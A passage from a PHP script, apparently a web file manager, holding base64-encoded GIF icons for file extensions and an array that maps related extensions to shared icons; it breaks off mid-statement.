  2852. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2853. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2854. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2855. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2856. "RYtMAgEAOw==",
  2857. "ext_cmd"=>
  2858. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2859. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2860. "dmrYAMn1onq/YKpjvEgAADs=",
  2861. "ext_cpp"=>
  2862. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2863. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2864. "Eq7YrLDE7a4SADs=",
  2865. "ext_ini"=>
  2866. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2867. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2868. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2869. "ext_diz"=>
  2870. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2871. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2872. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2873. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2874. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2875. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2876. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2877. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2878. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2879. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2880. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2881. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2882. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2883. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2884. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2885. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2886. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2887. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2888. "Ow==",
  2889. "ext_doc"=>
  2890. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2891. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2892. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2893. "ext_exe"=>
  2894. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2895. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2896. "xhIAOw==",
  2897. "ext_h"=>
  2898. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2899. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2900. "Wq/NknbbSgAAOw==",
  2901. "ext_hpp"=>
  2902. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2903. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2904. "UqUagnbLdZa+YFcCADs=",
  2905. "ext_htaccess"=>
  2906. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2907. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2908. "AAA7",
  2909. "ext_html"=>
  2910. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2911. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2912. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2913. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2914. "ADs=",
  2915. "ext_jpg"=>
  2916. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2917. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2918. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2919. "FxEAOw==",
  2920. "ext_js"=>
  2921. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2922. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2923. "a00AjYYBbc/o9HjNniUAADs=",
  2924. "ext_lnk"=>
  2925. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2926. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2927. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2928. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2929. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2930. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2931. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2932. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2933. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2934. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2935. "ADs=",
  2936. "ext_log"=>
  2937. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2938. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2939. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2940. "ext_php"=>
  2941. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  2942. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  2943. "ext_pl"=>
  2944. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2945. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2946. "ext_swf"=>
  2947. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2948. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2949. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2950. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2951. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2952. "ext_tar"=>
  2953. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2954. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2955. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2956. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2957. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2958. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2959. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2960. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2961. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2962. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2963. "u4tLAgEAOw==",
  2964. "ext_txt"=>
  2965. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2966. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2967. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2968. "ext_wri"=>
  2969. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2970. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2971. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2972. "ext_xml"=>
  2973. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2974. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2975. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2976. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2977. "IQA7"
  2978.  );
  2979.  //For simple size- and speed-optimization.
  2980.  $imgequals = array(
  2981.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2982.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2983.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2984.   "ext_html"=>array("ext_html","ext_htm"),
  2985.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2986.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2987.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2988.   "ext_doc"=>array("ext_doc","ext_dot"),
  2989.   "ext_js"=>array("ext_js","ext_vbs"),
  2990.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2991.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2992.   "ext_swf"=>array("ext_swf","ext_fla"),
  2993.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2994.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2995.  );
  2996.  if (!